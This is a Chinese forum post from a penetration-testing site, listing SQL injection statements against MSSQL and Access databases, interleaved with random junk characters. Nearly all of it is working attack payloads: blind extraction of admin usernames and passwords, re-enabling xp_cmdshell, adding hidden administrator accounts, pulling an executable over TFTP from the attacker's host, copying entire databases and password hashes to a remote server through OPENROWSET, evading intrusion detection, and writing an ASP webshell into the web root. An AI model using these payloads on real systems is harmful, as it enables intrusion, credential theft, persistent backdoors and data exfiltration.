中国网络渗透测试联盟

标题: SQL注入语句2 [打印本页]

作者: admin    时间: 2012-9-15 14:32
标题: SQL注入语句2
1..判断有无注入点
. |0 W/ I! u+ [! ~; and 1=1 and 1=2
( J& l, e- M; H3 d. t3 j4 S$ p' L( m0 J+ o+ Y3 ^

. G& A& X) V3 c& w  n2.猜表一般的表的名称无非是admin adminuser user pass password 等.. ) B1 u# p& S- I+ V' {3 U/ U1 @4 O
and 0<>(select count(*) from *)
( e9 b- e# c0 q, a5 ?" oand 0<>(select count(*) from admin) ---判断是否存在admin这张表 . a) E3 `+ _9 x4 m7 V6 I
7 m9 k+ p; f8 h

  s: L1 k) O1 ^* {3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
; M4 M7 Q' w! S& ~2 ~' N. rand 0<(select count(*) from admin) , a5 r7 V' D5 |8 w9 R/ U: Y. [
and 1<(select count(*) from admin) & S' N5 z2 K0 [( l0 Q* m
猜列名还有 and (select count(列名) from 表名)>0
" v% V  @& S2 r: o" _5 C$ P) P2 Y5 u1 \

( |( G& q% ?3 v, v4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
! V+ {! M6 l2 l: ^: n- N- D! Gand 1=(select count(*) from admin where len(*)>0)--
& g3 \7 Z) E# U, t. V, A0 y9 u* y% qand 1=(select count(*) from admin where len(用户字段名称name)>0) 5 q) N7 i7 I5 _3 H' w2 L2 ~
and 1=(select count(*) from admin where len(密码字段名称password)>0) ) }' X: j  V8 H, Y9 U7 i

1 v! l' L; m: \5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
# @1 @. @9 L! o5 E* Yand 1=(select count(*) from admin where len(*)>0)
+ q# d% w: m: \1 w9 a; w: {& Fand 1=(select count(*) from admin where len(name)>6) 错误 5 Y3 b' N+ Q, ~7 |& K3 \
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
+ F6 w& L* q& E, k' `/ u' dand 1=(select count(*) from admin where len(name)=6) 正确 * D3 g+ U7 V: T( j" R
6 c) [, V6 v8 n7 W- N* Q
and 1=(select count(*) from admin where len(password)>11) 正确 " R: h5 r  v( P
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
" \) D; h9 A. J4 band 1=(select count(*) from admin where len(password)=12) 正确 5 g5 V4 F( v1 D
猜长度还有 and (select top 1 len(username) from admin)>5+ j! X, t: p  K' ^) Y, s4 o

7 P9 X6 H* r9 \; e
5 Y/ l; U* @8 M2 p1 B4 t, W6.猜解字符
) r+ y& C9 P6 H  J3 ]and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
8 Z3 n+ H; f; d$ Kand 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位 ) {8 X; f# Z. w! Q
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
% P7 G4 H3 a4 N4 a- O" T% X0 l7 r7 Y! I2 D% r1 ?* k
猜内容还有  and (select top 1 asc(mid(password,1,1)) from admin)>50  用ASC码算
# X1 k/ l% r* i8 C( kand 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- # z3 l: J  b( d/ t3 l9 @8 K8 Q
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符. 9 f" E: K; `) d( O2 @) W, d

- N# x, b8 f; `; c: ogroup by users.id having 1=1--
1 [; v8 a2 |# Y. F, O% lgroup by users.id, users.username, users.password, users.privs having 1=1-- 9 \! B+ {2 z6 t8 x5 v% u4 ^$ l7 o
; insert into users values( 666, attacker, foobar, 0xffff )-- , _; \8 I1 y& A5 c7 Q3 X9 f) m; m
  K9 o3 X1 f, c) }
UNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable-
1 R1 z9 x) {6 C" }% fUNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE 列名 NOT IN (login_id)- 6 l' E1 q$ l7 @. `$ C9 [5 i- Y
UNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE 列名 NOT IN (login_id,login_name)- & z4 Z' W1 a: q7 Z; P
UNION SELECT TOP 1 login_name FROM logintable- # [4 h9 `3 `4 @0 a+ V
UNION SELECT TOP 1 password FROM logintable where login_name=Rahul-- 6 J  w1 C# Q# V6 A8 a1 p; o' A
% U* I: F' s5 X, A
看服务器打的补丁=出错了打了SP4补丁   B' O7 F) @* Z' `1 h- ]( u# [
and 1=(select @@VERSION)-- % w: p# z' h7 |7 a
7 M$ f: T  z0 o
看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
( y% m2 }9 \6 k" x1 Nand 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--
8 m$ Z% k( @; k; Y* F' k$ T! [3 X* r6 [: E4 _
判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA) 2 O* R! Q. T# W. e5 n
and sa=(SELECT System_user)--
) T2 z! r5 v5 o; }8 Z: v& Cand user_name()=dbo-- ) ?. `' d  o& y) ?* k* o4 T3 P4 K
and 0<>(select user_name()--
7 T5 z, A3 b5 P8 p" ~  f' L9 Z( C/ t7 q/ Y) i
看xp_cmdshell是否删除 . H: o5 |7 N+ B% j
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--
2 `, y8 X1 k5 h! |+ G' L. O- |' w1 N( y4 U
xp_cmdshell被删除,恢复,支持绝对路径的恢复 ) A# y# B) l6 J% c
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--
" r. G& M+ C, O0 D3 v;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll--
: _* m: w9 H5 j1 ^" O4 J: T1 e. w; p3 i1 ~2 E2 C. [
反向PING自己实验 7 W# u# Z3 q$ f; U: b5 e
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
' h, \" }) l3 o! t  q
9 Z8 w1 a) K- i$ j3 k% a/ K加帐号
% F5 s9 v/ g- V6 j% Q4 J8 `;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add-- 2 Q0 V6 _3 L2 Z

8 }& k5 Y) V/ R/ j创建一个虚拟目录E盘:
+ x! O0 _# l0 Z7 j6 \5 S2 T;declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e:\"--
! D' r* J* G! U- Y. P& X' \! `" P; P) Y- D) m: ~- [6 h- L
访问属性:(配合写入一个webshell) 1 n9 d( v/ J% \. d5 K3 _' A
declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
8 |$ @$ r2 d8 n  s  }& j$ N! V
% v4 t7 u" T% A/ o7 Z- r$ [4 p; P" E7 {3 o7 h5 C* G
MSSQL也可以用联合查询
% B0 h  ]) [; x6 z  R/ _6 y7 z$ i% W1 B?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin * c- \* R! |/ I1 {- B, w: z
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用) ' E3 W9 ]6 S4 Z1 H( l+ A

3 |6 x  d$ p: j# `& J1 V" S6 L; ]) Q! x/ o
爆库 特殊技巧:%5c=\ 或者把/和\ 修改%5提交
0 B( E/ s$ D1 N0 D% \9 U/ t% i1 D0 v
( K4 w4 o( S$ F) M1 ~
  x) A8 c9 w$ t: h+ C
6 ]. X) y. Q6 l( R# p0 Q得到WEB路径
& c; Q9 N. S9 r9 @6 e. R" F;create table [dbo].[swap] ([swappass][char](255));--
& }5 g0 M* _+ band (select top 1 swappass from swap)=1--
! P& [- J4 R+ `: y' a) j, };CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=HKEY_LOCAL_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_name=/, values=@test OUTPUT insert into paths(path) values(@test)--
( {0 q) N, x9 U4 B4 M! i;use ku1;-- 5 O1 f0 D, \+ d5 F% H
;create table cmd (str image);-- 建立image类型的表cmd
6 W" _* c9 a: ~% Y3 c
; P7 }' q5 C  N5 b) n0 ~存在xp_cmdshell的测试过程: $ _3 G* Q1 w6 j% E& [
;exec master..xp_cmdshell dir & c0 {3 u: ]9 W& R
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号 7 ^) M' i' N0 z, f
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
7 {0 }. U" T5 V1 T1 B;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;-- 1 M; G/ O: q7 o9 d' [1 C) v
;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;-- & j! d6 ^, E5 b
;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;-- ; i! ]# R, K3 ?; Z' O
exec master..xp_servicecontrol start, schedule 启动服务   g4 Y9 x4 A5 c3 j" I4 {& w% ]
exec master..xp_servicecontrol start, server
: b3 O6 c& p& T3 V; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add + G0 {' }4 A- E+ B- B  Q2 j' L
;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add 1 U* b+ `* q  ]( F  `% O+ w. S
; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件 ) A. C. V: [/ r3 `1 v1 y# q2 p; h+ }

0 ?/ {4 F( _5 Y' Q1 [- N: z6 {;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\ + O+ a7 t$ L1 w4 Q# N4 V: p
;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\ 0 \* v: N, P4 s: ^- p( w* O
;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat / q3 }3 i$ d! z; `
如果被限制则可以。
3 N$ a- ]- ^2 m- x, m1 B( n3 hselect * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)
& C3 Z  }: v5 f& t& k$ k: {
% I0 r* w5 F) D. F  m3 w5 x+ S查询构造:
; J) W- K) Q$ B# n/ x3 aSELECT * FROM news WHERE id=... AND topic=... AND .....
: K3 f! `- c# ~: e$ [* E' ~adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <> : c+ \0 Q! Y- p$ d1 }1 P8 Z: E% ?: w
select 123;-- ' b' W1 s4 J4 m' G- B
;use master;--   o- M- H2 m% k" w
:a or name like fff%;-- 显示有一个叫ffff的用户哈。 6 A. g/ [# c8 F: e1 [. D( W
and 1<>(select count(email) from [user]);--
) k% R  r+ O6 W& D2 j2 ?;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
, Z: G9 L' O" \" \& s8 ?;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;-- 5 o+ {' y2 Y5 ~& u
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
# e4 n/ j+ O. H- J2 o1 f" w;update [users] set email=(select top 1 count(id) from password) where name=ffff;-- : S2 p. X5 P5 V7 ]4 s& M( T
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;-- # f) h# N, ~+ C9 K' B7 i
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;-- 5 w6 {7 n1 \$ E6 a
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 & A+ k" s- g, f& a9 M
通过查看ffff的用户资料可得第一个用表叫ad
) r0 G, K: m, |) O2 a然后根据表名ad得到这个表的ID 得到第二个表的名字
# t) U5 A- X# e- j% \& G
( T2 o+ X3 T2 i" F" b! _- ^/ dinsert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
0 T. e. p2 V. _6 Einsert into users values( 667,123,123,0xffff)-- 6 C+ f7 W/ l! p; B9 r0 C9 o- J
insert into users values ( 123, admin--, password, 0xffff)--
! R3 D: W5 _- ^- Z;and user>0 4 ~! H- @) R* Z3 c
;and (select count(*) from sysobjects)>0
2 o; x6 B3 j7 K; e3 Q;and (select count(*) from mysysobjects)>0 //为access数据库
* h5 `+ I; y" l; y) U: K; ]
8 u8 R/ {$ P8 P5 `' u枚举出数据表名
8 M* Q, {! k; H7 g;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
2 x( r8 p1 ~' U5 q4 d% `/ q这是将第一个表名更新到aaa的字段处。
* L9 L, ~" w* P" e: ~读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。 # B/ F4 L+ J: K4 ]# ?
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);-- , ]  _# J* n4 ?
然后id=1552 and exists(select * from aaa where aaa>5)
% X, B* A- K- g# }2 ^# T读出第二个表,一个个的读出,直到没有为止。
7 y  ^2 y/ U7 O7 n; ~3 H读字段是这样: / I2 S% P' o" H- z% l
;update aaa set aaa=(select top 1 col_name(object_id(表名),1));-- 5 Z( N2 G+ k' |( p1 H
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名 ) D2 y( x! B$ f" X2 |# o! I) P
;update aaa set aaa=(select top 1 col_name(object_id(表名),2));-- $ n& @. Z& N" `3 B
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
- E( L5 L+ N# |) B' k$ P, ^  v! w( g# s
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] - y  \6 k" u( h; N; k# `8 Y
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
  W/ [6 ]" ^( S+ Q" F通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
) T1 b  A$ U4 p( X5 ?2 I9 V% V+ K& _: }, s/ v; X! r8 D: u9 B; A
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
7 V6 F7 R( Q0 ]# ?, D0 Aupdate 表名 set 字段=(select top 1 col_name(object_id(要查询的数据表名),字段列如:1) [ where 条件]   I' r" B; t; M, N/ x  ^. s) v

4 _; M, B* {2 @" L& `' j# R绕过IDS的检测[使用变量]
: J. s( a$ A9 m1 O;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
3 P# g6 ~  v3 W+ u;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\
" S( s) F' U$ I! F4 v! i3 U& b5 W# e. n, R6 `
1、 开启远程数据库 ' s: W) j4 C. E& R8 G, o
基本语法
2 y: k% |4 u2 L+ ^, V' ~( W) U. E, W- _select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 ) . L; i: }  F9 w
参数: (1) OLEDB Provider name
5 I! L7 m- |7 P9 S8 @  E2、 其中连接字符串参数可以是任何端口用来连接,比如
  f" Z" a, }. F0 `) H  l! Xselect * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
' }4 F* d* E8 G& Z3.复制目标主机的整个数据库insert所有远程表到本地表。
) I  a4 y0 T+ l) I! s% p/ A  v' I- R- a, ], l: d9 d
基本语法: , B/ }( O3 W3 q# ^: t
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2 , u) U0 n' `! q9 o0 {' o, O
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
5 m7 J* G* u7 D" e  Hinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2
9 [. U* K+ i- o5 b/ F& Linsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases) & s" A) t- _+ w
select * from master.dbo.sysdatabases 6 k& k* Y& t0 C3 t( G' K
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)
) d% q9 l! l. g" U! E+ y6 mselect * from user_database.dbo.sysobjects ( F+ a+ n9 [9 b5 o
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns)
8 v3 a- q# B- j$ Jselect * from user_database.dbo.syscolumns % y4 l! \' d4 r6 ^1 m/ B
复制数据库: - N# ~7 f6 E* \
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 , }7 `" K# H) ~' |6 ~
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2
( n/ V( S6 a0 U+ ?) Z# T/ W
( V4 D# Q8 Z3 [6 h( L复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下: 7 S- |( @: _1 V
insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select * from database.dbo.sysxlogins 5 F( O" |/ l0 `- l3 ~2 s
得到hash之后,就可以进行暴力破解。
1 Q7 o  m' L: o2 J; w# p6 X) Q8 H* x) c# [0 C) ]
遍历目录的方法: 先创建一个临时表:temp
7 [+ I: O6 F2 Z  ^6 E( h;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- & P+ M5 X( Z  C0 Y
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
& i, u" R5 Q! n. r;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 获得子目录列表 9 P# X* h6 w6 w* [$ X
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中
! `& L( G/ ]8 v; Q$ N  q1 {;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 查看某个文件的内容 8 s" @$ `2 b/ n" r8 o  Q
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;-- 2 y& \7 z; _  W4 k! {
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;-- 1 Z; n- f  Q$ f6 |6 W8 i
;insert into temp(id) exec master.dbo.xp_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc 3 p6 k% J- a$ f- n
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- (xp_dirtree适用权限PUBLIC) 6 m) Z7 N+ [8 N* K) y' r
写入表:
8 T8 a; _; x5 j0 m) I0 \7 X语句1:and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));-- ' ]- R* ~% G- G4 v* D7 p! j
语句2:and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--   T( U4 U; l+ \$ u
语句3:and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--
0 E. `2 z8 K. d! j% a5 y6 A0 S语句4:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));-- 8 b. X) w6 j6 ^; P# F4 J7 q' ?, v
语句5:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));-- 1 R  c9 E- H6 [1 B# j
语句6:and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--
+ |5 ^! B2 ]2 k" U# T* K. E语句7:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));-- 6 z  q3 g* I  g: W. \1 ]' d. T
语句8:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));-- ; g& y% h, g2 B$ @6 e
语句9:and 1=(SELECT IS_MEMBER(db_owner));-- # u1 N* L  P8 a" g0 q0 g3 s7 F% V
- A( t& C- y- ^! B
把路径写到表中去: 3 I% F( \) F& r; k# J  W3 T5 @
;create table dirs(paths varchar(100), id int)-- 0 F7 `( y+ X9 C8 o& ^
;insert dirs exec master.dbo.xp_dirtree c:\--
5 I1 e  I6 z3 i- ?2 ^and 0<>(select top 1 paths from dirs)-- / i6 @, ]7 q; E9 H
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
( W1 u/ v" _4 C;create table dirs1(paths varchar(100), id int)-- 2 U( ^1 \1 O; ]
;insert dirs exec master.dbo.xp_dirtree e:\web-- * w* m% r. K: J9 C6 C' k9 b( h# h
and 0<>(select top 1 paths from dirs1)-- 6 b- c# v! P: O, N7 e& r$ n
- l& J: [* C6 \4 e
把数据库备份到网页目录:下载 6 G3 @2 d; `; w1 V  I6 o; J  C+ k  o# V
;declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;-- 8 B+ I0 c6 S9 D8 s% r

! C; U0 Z7 H. i, X0 R: Dand 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
# V% Z! b$ H; land 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 参看相关表。 : @  F$ ^! q1 Z
and 1=(select user_id from USER_LOGIN)
& P- e. Y- I( z1 r/ ]9 xand 0=(select user from USER_LOGIN where user>1)
; o4 b- g2 V) i- Z3 U+ S/ m5 u0 V% v3 k. `8 _1 ^( ~! m
-=- wscript.shell example -=-
" Q0 H1 O, {+ `1 xdeclare @o int   `3 e# }, n& O
exec sp_oacreate wscript.shell, @o out + A& d2 x% C  A. I1 v. c
exec sp_oamethod @o, run, NULL, notepad.exe
2 @$ m# }, x* j* {- ]; declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, notepad.exe-- 6 _: E! B7 n9 M( H" d6 N
: l4 Q' _( D- H- o6 Z! n
declare @o int, @f int, @t int, @ret int 0 t) y9 r4 o, a+ q: Z& F
declare @line varchar(8000)
/ ^. j: Q" Y" e* Eexec sp_oacreate scripting.filesystemobject, @o out 6 r. E# j8 I' _& O
exec sp_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
+ w( _- y( N& Bexec @ret = sp_oamethod @f, readline, @line out 7 k$ s. b! ^, m# ~' ~5 q
while( @ret = 0 )
) T: ]3 K; D8 _" x2 Xbegin
& a, G7 U; ^9 r/ I/ w) X/ }print @line 6 z) G. ?% t+ C" e
exec @ret = sp_oamethod @f, readline, @line out
7 B3 ?4 t$ F, s8 ~) `2 |end
6 b% F$ G/ M- r) R$ K4 c8 N/ D9 e8 B& `7 D+ J, `' Z
declare @o int, @f int, @t int, @ret int ! I( y9 B5 A2 G0 @! k1 q1 N
exec sp_oacreate scripting.filesystemobject, @o out ) k4 Y) P2 c$ c3 r9 w1 c' A
exec sp_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
* O; T9 Y/ K2 G8 K3 nexec @ret = sp_oamethod @f, writeline, NULL,
# M1 N  t" e6 Y6 U$ y- L, j<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>
, o0 {- Z* {9 `$ v
; Z: N% e- d5 v4 Q2 l) _declare @o int, @ret int ( W/ u4 o* @, B# [
exec sp_oacreate speech.voicetext, @o out . u/ y9 g; `7 P
exec sp_oamethod @o, register, NULL, foo, bar 0 \  `3 w; g1 {# e- J8 z6 J0 J# j
exec sp_oasetproperty @o, speed, 150 $ `6 c6 i% _. A% I4 G4 T
exec sp_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
. [- ?: M  g. @) ]# k# B# xwaitfor delay 00:00:05
/ }' ^6 g5 k# P
: _8 ?3 G5 d' T, p/ i; declare @o int, @ret int exec sp_oacreate speech.voicetext, @o out exec sp_oamethod @o, register, NULL, foo, bar exec sp_oasetproperty @o, speed, 150 exec sp_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--
. d( I% U# e! }" W+ E% v( r' K* _: P; W* }8 K% j9 L, u
xp_dirtree适用权限PUBLIC " A& K7 o! M+ Z! p$ _! O
exec master.dbo.xp_dirtree c:返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。 : G/ |( E+ a/ K) d. Y# k
create table dirs(paths varchar(100), id int)
0 f* l( B6 `, P建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。 ' l" n) T& {" M, g* x+ G
insert dirs exec master.dbo.xp_dirtree c:只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!
' m5 m! O8 [2 p1 U1 u! v  u




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2